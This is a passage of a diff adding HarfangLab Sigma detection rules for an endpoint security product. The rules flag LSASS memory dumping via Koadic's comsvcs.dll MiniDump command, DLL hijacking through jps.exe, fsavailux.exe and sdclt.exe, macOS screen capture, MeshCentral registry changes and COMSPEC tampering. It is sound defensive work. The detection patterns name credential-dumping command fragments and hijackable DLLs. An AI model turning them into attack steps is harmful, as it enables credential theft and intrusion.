%TEMP%\\1107b58e-498d-85a2-a778-c5ed82bc09fa.bin full\n    selection_1:\n        - Image|endswith: '\\rundll32.exe'\n        - OriginalFileName: 'RUNDLL32.EXE'\n\n    selection_2:\n        CommandLine|contains|all:\n            - '?:\\Windows\\system32\\comsvcs.dll, '\n            - 'MiniDump '\n            - '\\\\????????-????-????-????-????????????.bin '\n            - 'full'\n\n    condition: all of selection_*\nlevel: high\n# level: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "cce237f3-db0e-4f5e-90da-54d4d93e8f20",
+  "rule_name": "LSASS Dumped via Koadic",
+  "rule_description": "Detects an attemps to dump the LSASS (Local Security Authority Subsystem Service) process memory via the Koadic HackTool.\nAdversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS).\nAfter a user logs on, the system generates and stores a variety of credential materials in LSASS process memory.\nThese credential materials can be harvested by an administrative user or SYSTEM and used to conduct lateral movement.\nIt is recommended to analyze the process and user session responsible for this execution to look for malicious content or actions.\n",
+  "rule_creation_date": "2021-02-18",
+  "rule_modified_date": "2025-01-30",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001",
+    "attack.t1078"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "cd208e59-071b-4df4-8703-7a3498fce4b9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.589278Z",
+  "creation_date": "2026-03-23T11:45:34.589284Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.589296Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.trendmicro.com/en_us/research/23/h/earth-estries-targets-government-tech-for-cyberespionage.html",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_jps.yml",
+  "content": "title: DLL Hijacking via jps.exe\nid: cd208e59-071b-4df4-8703-7a3498fce4b9\ndescription: |\n    Detects potential Windows DLL Hijacking via jps.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.trendmicro.com/en_us/research/23/h/earth-estries-targets-government-tech-for-cyberespionage.html\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2023/09/05\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'jps.exe'\n        ImageLoaded|endswith: '\\jli.dll'\n\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files\\Oracle'\n            - '?:\\Program Files (x86)\\Oracle'\n            - '?:\\Program Files\\Common Files\\Oracle\\Java\\'\n            - '?:\\Program Files (x86)\\Common Files\\Oracle\\Java\\'\n            - '?:\\Program Files\\Java'\n            - '?:\\Program Files (x86)\\Java'\n            - '?:\\Program Files\\AdoptOpenJDK\\jdk-*\\bin\\'\n            - '?:\\Program Files (x86)\\AdoptOpenJDK\\jdk-*\\bin\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Program Files\\Oracle'\n            - '?:\\Program Files (x86)\\Oracle'\n            - '?:\\Program Files\\Common Files\\Oracle\\Java\\'\n            - '?:\\Program Files (x86)\\Common Files\\Oracle\\Java\\'\n            - '?:\\Program Files\\Java'\n            - '?:\\Program Files (x86)\\Java'\n            - '?:\\Program Files\\AdoptOpenJDK\\jdk-*\\bin\\'\n            - '?:\\Program Files (x86)\\AdoptOpenJDK\\jdk-*\\bin\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature:\n            - 'Oracle America, Inc.'\n            - 'Eclipse.org Foundation, Inc.'\n            - 'Azul Systems, Inc.'  # '?:\\Program Files (x86)\\Siemens\\kgw\\jre\\bin\\jps.exe'\n            - 'SAP SE'  # \\SAP BusinessObjects\\SAP BusinessObjects Enterprise XI 4.0\\win64_x64\\sapjvm\\bin\\jps.exe\n            - 'London Jamocha Community CIC'  # AdoptOpenJDK\n            - 'Microsoft Corporation'\n            - 'Amazon.com Services LLC'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "cd208e59-071b-4df4-8703-7a3498fce4b9",
+  "rule_name": "DLL Hijacking via jps.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via jps.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2023-09-05",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "cd2380a2-e760-4c6f-aa15-66b3c694a085",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.098825Z",
+  "creation_date": "2026-03-23T11:45:34.098827Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.098831Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_fsavailux.yml",
+  "content": "title: DLL Hijacking via fsavailux.exe\nid: cd2380a2-e760-4c6f-aa15-66b3c694a085\ndescription: |\n    Detects potential Windows DLL Hijacking via fsavailux.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'fsavailux.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\DEVOBJ.dll'\n            - '\\ifsutil.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "cd2380a2-e760-4c6f-aa15-66b3c694a085",
+  "rule_name": "DLL Hijacking via fsavailux.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via fsavailux.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "cd448b91-b77f-4dd8-abf4-22ce6fa3141b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.295442Z",
+  "creation_date": "2026-03-23T11:45:35.295446Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.295452Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1113/T1113.md",
+    "https://www.loobins.io/binaries/screencapture/",
+    "https://attack.mitre.org/techniques/T1113/"
+  ],
+  "name": "t1113_screencapture.yml",
+  "content": "title: Screen Captured via Screencapture\nid: cd448b91-b77f-4dd8-abf4-22ce6fa3141b\ndescription: |\n    Detects the execution of screencapture.\n    Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation.\n    This alert can be used to correlate activity in an undergoing operation.\n    It is recommended to check for other malicious actions by the process launching Screencapture.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1113/T1113.md\n    - https://www.loobins.io/binaries/screencapture/\n    - https://attack.mitre.org/techniques/T1113/\ndate: 2022/07/21\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.collection\n    - attack.t1113\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.LOLBin.Screencapture\n    - classification.macOS.Behavior.Collection\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        Image: '/usr/sbin/screencapture'\n        ParentImage|contains: '?'\n\n    exclusion_image:\n        # System UI spawning it for capture via keyboard shortcuts\n        - ParentImage:\n            - '/System/Library/CoreServices/SystemUIServer.app/Contents/MacOS/SystemUIServer'\n            - '/System/Library/CoreServices/loginwindow.app/Contents/MacOS/loginwindow'\n            - '/System/Applications/QuickTime Player.app/Contents/XPCServices/com.apple.quicktimeplayer.SharedPrefsVendor.xpc/Contents/MacOS/com.apple.quicktimeplayer.SharedPrefsVendor'\n            - '/Applications/iCapturer.app/Contents/MacOS/iCapturer'\n            - '/Applications/Shottr.app/Contents/MacOS/Shottr'\n            - '/Library/Application Support/Logitech.localized/LogiOptionsPlus/logioptionsplus_agent.app/Contents/MacOS/logioptionsplus_agent'\n            - '/Applications/Logi Options.app/Contents/Support/LogiMgrDaemon.app/Contents/MacOS/LogiMgrDaemon'\n            - '/Applications/Setapp/CleanShot X.app/Contents/MacOS/CleanShot X Setapp'\n            - '/Applications/CleanShot X.app/Contents/MacOS/CleanShot X'\n            - '/Applications/TextSniper.app/Contents/MacOS/TextSniper'\n            - '/Applications/Adobe Acrobat DC/Adobe Acrobat.app/Contents/MacOS/AdobeAcrobat'\n            - '/Applications/TRex.app/Contents/MacOS/TRex'\n            - '/Applications/Zappy.app/Contents/MacOS/Zappy'\n        - GrandparentImage:\n            - '/Applications/Raycast.app/Contents/MacOS/Raycast'\n            - '/Applications/Gyazo.app/Contents/MacOS/Gyazo'\n\n    exclusion_jamf:\n        ParentCommandLine|startswith: '/bin/sh /library/application support/jamf/tmp/'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "cd448b91-b77f-4dd8-abf4-22ce6fa3141b",
+  "rule_name": "Screen Captured via Screencapture",
+  "rule_description": "Detects the execution of screencapture.\nAdversaries may attempt to take screen captures of the desktop to gather information over the course of an operation.\nThis alert can be used to correlate activity in an undergoing operation.\nIt is recommended to check for other malicious actions by the process launching Screencapture.\n",
+  "rule_creation_date": "2022-07-21",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection"
+  ],
+  "rule_technique_tags": [
+    "attack.t1113"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "cd572f3d-b60f-49de-a256-8d14da21832a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.073809Z",
+  "creation_date": "2026-03-23T11:45:34.073811Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.073816Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/malmoeb/status/1558861977379868672",
+    "https://meshcentral.com/info/",
+    "https://attack.mitre.org/techniques/T1112/",
+    "https://attack.mitre.org/techniques/T1219/002/"
+  ],
+  "name": "t1112_meshcentral_server_url_registry_configuration.yml",
+  "content": "title: MeshCentral Server URL Configured in Registry\nid: cd572f3d-b60f-49de-a256-8d14da21832a\ndescription: |\n    Detects the creation or modification of a MeshCentral registry server URL configuration.\n    MeshCentral is a remote host control tool that can be used maliciously as a Remote Access Tool (RAT).\n    Attackers can change this URL to make the MeshCentral agent point to a malicious server controlled by the attacker.\n    It is recommended to investigate any actions taken by MeshCentral and to determine if this RMM tool is expected in your environment.\n    If this RMM software is common in your environment, it is recommended to disable this rule.\nreferences:\n    - https://twitter.com/malmoeb/status/1558861977379868672\n    - https://meshcentral.com/info/\n    - https://attack.mitre.org/techniques/T1112/\n    - https://attack.mitre.org/techniques/T1219/002/\ndate: 2022/08/23\nmodified: 2025/06/27\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1112\n    - attack.command_and_control\n    - attack.t1219.002\n    - classification.Windows.Source.Registry\n    - classification.Windows.RMM.MeshCentral\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType:\n            - 'CreateKey'\n            - 'SetValue'\n        TargetObject: 'HKLM\\SOFTWARE\\\\*\\MeshServerUrl'\n\n    filter_local:\n        Details: 'local'\n\n    condition: selection and not 1 of filter_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "cd572f3d-b60f-49de-a256-8d14da21832a",
+  "rule_name": "MeshCentral Server URL Configured in Registry",
+  "rule_description": "Detects the creation or modification of a MeshCentral registry server URL configuration.\nMeshCentral is a remote host control tool that can be used maliciously as a Remote Access Tool (RAT).\nAttackers can change this URL to make the MeshCentral agent point to a malicious server controlled by the attacker.\nIt is recommended to investigate any actions taken by MeshCentral and to determine if this RMM tool is expected in your environment.\nIf this RMM software is common in your environment, it is recommended to disable this rule.\n",
+  "rule_creation_date": "2022-08-23",
+  "rule_modified_date": "2025-06-27",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1219.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "cdc1f23a-588d-47a8-8fb4-ec10e44ac623",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.076336Z",
+  "creation_date": "2026-03-23T11:45:34.076338Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.076342Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_sdclt.yml",
+  "content": "title: DLL Hijacking via sdclt.exe\nid: cdc1f23a-588d-47a8-8fb4-ec10e44ac623\ndescription: |\n    Detects potential Windows DLL Hijacking via sdclt.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'sdclt.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\bcd.dll'\n            - '\\Cabinet.dll'\n            - '\\CLDAPI.dll'\n            - '\\CRYPTBASE.DLL'\n            - '\\edputil.dll'\n            - '\\FLTLIB.DLL'\n            - '\\PROPSYS.dll'\n            - '\\ReAgent.dll'\n            - '\\SPP.dll'\n            - '\\SspiCli.dll'\n            - '\\UxTheme.dll'\n            - '\\VSSAPI.DLL'\n            - '\\VssTrace.DLL'\n            - '\\wer.dll'\n            - '\\WTSAPI32.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "cdc1f23a-588d-47a8-8fb4-ec10e44ac623",
+  "rule_name": "DLL Hijacking via sdclt.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via sdclt.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "cdc56022-c828-4e2a-a235-31810f322716",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.610786Z",
+  "creation_date": "2026-03-23T11:45:34.610789Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.610797Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1216/"
+  ],
+  "name": "t1112_comspec_environment_variable_modification.yml",
+  "content": "title: COMSPEC User Environment Variable Modified\nid: cdc56022-c828-4e2a-a235-31810f322716\ndescription: |\n    Detects the modification of the COMSPEC user environment variable.\n    COMSPEC should not be normally defined in the user environment variables.\n    Attackers can use this newly modified variable to perform a signed script proxy execution and takeover control of a legitimate script.\n    It is recommended to investigate the process at the origin of this registry modification to determine the legitimacy of this action.\nreferences:\n    - https://attack.mitre.org/techniques/T1216/\ndate: 2022/01/21\nmodified: 2025/01/17\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1112\n    - attack.t1216\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.ConfigChange\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection_set:\n        EventType: 'SetValue'\n        TargetObject: 'HKU\\\\*\\Environment\\comspec'\n\n    selection_rename:\n        EventType: 'RenameKey'\n        NewName: 'HKU\\\\*\\Environment\\comspec'\n\n    filter_empty:\n        Details: '(Empty)'\n\n    exclusion_cmd:\n        Details: '?:\\windows\\system32\\cmd.exe'\n\n    condition: ((selection_set and not filter_empty) or selection_rename) and not 1 of exclusion_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "cdc56022-c828-4e2a-a235-31810f322716",
+  "rule_name": "COMSPEC User Environment Variable Modified",
+  "rule_description": "Detects the modification of the COMSPEC user environment variable.\nCOMSPEC should not be normally defined in the user environment variables.\nAttackers can use this newly modified variable to perform a signed script proxy execution and takeover control of a legitimate script.\nIt is recommended to investigate the process at the origin of this registry modification to determine the legitimacy of this action.\n",
+  "rule_creation_date": "2022-01-21",
+  "rule_modified_date": "2025-01-17",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1216"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "cdc610fd-f43b-4587-a27f-cd30832c205d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.621322Z",
+  "creation_date": "2026-03-23T11:45:34.621324Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.621329Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/1ZRR4H/status/1575364104822444032",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1562_001_disable_windows_defender_notifications.yml",
